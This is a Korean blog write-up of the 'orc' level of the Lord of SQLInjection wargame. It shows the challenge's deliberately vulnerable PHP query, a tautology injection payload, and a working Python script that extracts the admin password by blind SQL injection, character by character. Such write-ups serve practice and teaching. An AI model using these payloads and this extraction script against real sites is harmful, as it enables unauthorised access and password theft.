늘모자란, 개발 :: [LOS] orc

늘모자란, 개발

<?php
include "./config.php"; 
 login_chk(); 
 dbconnect(); 
 if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
 $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
 echo "
query : {$query}
"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "

Hello admin

"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; $result = @mysql_fetch_array(mysql_query($query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); highlight_file(__FILE__); ?>


이건 쿼리가 두개다
일단 admin을 획득하려면 참을 만들면 되는데

select id from prob_orc where id='admin' and pw='1' or 1=1 -- a'


이거만으로 안 끝난다. 왜냐면 단순히 result['id']가 있기만해도 되기때문. 즉 이 문제는 blind sql로 pw가 맞으면 admin이 출력될거고 아니면 안뜨고 뭐 그런..느낌이다
blind sqli 시에 깔끔히 답만 알려주지 않기때문에 length로 체크를 하도록 간단히 코드를 짰다. 그리고 이 사이트는 cloudflare를 사용하고 있기때문에 cookie 가 없으면 돌아가지 않아서 이때부터 requests 모듈을 사용하기로 했다

#!/usr/bin/env python
# -*- coding: utf8 -*-
 
import requests

headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=dihankitbe8chkt37mk9tt9040;'}
url = "http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
string = "1234567890abcdefghijklmnopqrstuvwxyz"

loop = 0
pw = ''

for j in range(1,30):
 data = "?pw=' or ( id='admin' and length(pw)={} )-- a".format(j)
 r = requests.get(url+data,headers=headers)

 if r.text.find('Hello admin') != -1 :
 loop = j
 break

for i in range(1,loop+1):
 for j in string:
 data = "?pw=' or ( id='admin' and substring(pw,{},1)=0x{} ) -- a".format(i,j.encode('hex'))
 r = requests.get(url+data,headers=headers)

 if r.text.find('Hello admin') != -1 :
 pw = pw + j
 print "[!] found",pw
 break
 
print pw

돌리다보면 나온다

2017/06/19 17:01 2017/06/19 17:01